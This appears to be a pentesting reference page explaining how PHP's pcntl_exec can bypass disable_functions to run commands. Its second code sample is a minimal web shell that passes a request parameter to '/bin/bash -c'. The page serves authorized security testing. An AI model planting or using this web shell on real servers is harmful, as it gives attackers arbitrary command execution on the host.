DΛΣMӨП

// HackTricks · Network Services

PHP pcntlexec Command Execution

PHP pcntl_exec Command Execution

If the PCNTL extension is loaded and pcntl_exec is not itself disabled, the function can start an executable even when more familiar command-execution functions are listed in disable_functions. pcntl_exec replaces the current process; it does not create a child process, and its arguments must be supplied as an array.[1]

The following minimal example executes ls -l /var/tmp. It is adapted from an older disable_functions bypass demonstration.[2]

<?php
$program = '/bin/ls';
$arguments = ['-l', '/var/tmp'];

if (function_exists('pcntl_exec')) {
    pcntl_exec($program, $arguments);
}

// This line is reached only if pcntl_exec() fails.
echo "pcntl_exec failed\n";
?>

This technique is Unix-specific and can terminate or replace a PHP worker process. Use it only in an authorized test environment.[1]

For a request-driven lab check, keep the argument as an array; passing a string as the second parameter is invalid. Because pcntl_exec() replaces the PHP process, command output is written directly to the current response or process streams rather than returning to PHP:[1]

<?php
if (function_exists('pcntl_exec') && isset($_REQUEST['cmd'])) {
    pcntl_exec('/bin/bash', ['-c', $_REQUEST['cmd']]);
}
?>

References